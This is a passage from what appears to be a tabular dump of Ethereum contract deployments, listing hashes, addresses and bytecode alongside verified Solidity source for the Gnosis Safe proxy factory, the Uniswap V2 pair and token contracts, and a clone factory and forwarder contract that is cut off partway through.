uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,494,909 | aa2f08aaa1610755dac7715dc792202b0031fb41eccb791a70072fad67b91259 | 9f8c9803d00393b480d9ce24255952cfacf206e8c0fa444ca41629911d7dd550 | fb34884434d9ca4de51371ad262a26b9c1410948 | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | 38ad0ff7133fd77214a77fbaaf394dedbfbfa326 | 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| // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 19,494,911 | 7ba21217d9a0e5e7d08524cc31c465a8894fa64285208f183ace6aec9cdd37e8 | d45c9eaefcbda3e820cfce0803d34fbf0e50955e54cf0b3114d1409ea10b374f | 819dbff517e804eb55e092207443eaca4457362b | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 56d14b9ed9d2f126e0f966c07804e3a1f62f16c8 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,494,912 | 1abe2c559c611b22a58035d8e8e99db55032d61783987f004de0796cbe6b84f9 | f7c6f5a2ff2ddd2c915f9a5acb975fe98519d243ec399372d040f0163a305cd9 | e09d6ba2ac49c680aafd56464d834074abc74cd1 | ffa397285ce46fb78c588a9e993286aac68c37cd | ebb9df87d6ce063a44a3b5dd4ce1dc70d63e67c4 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
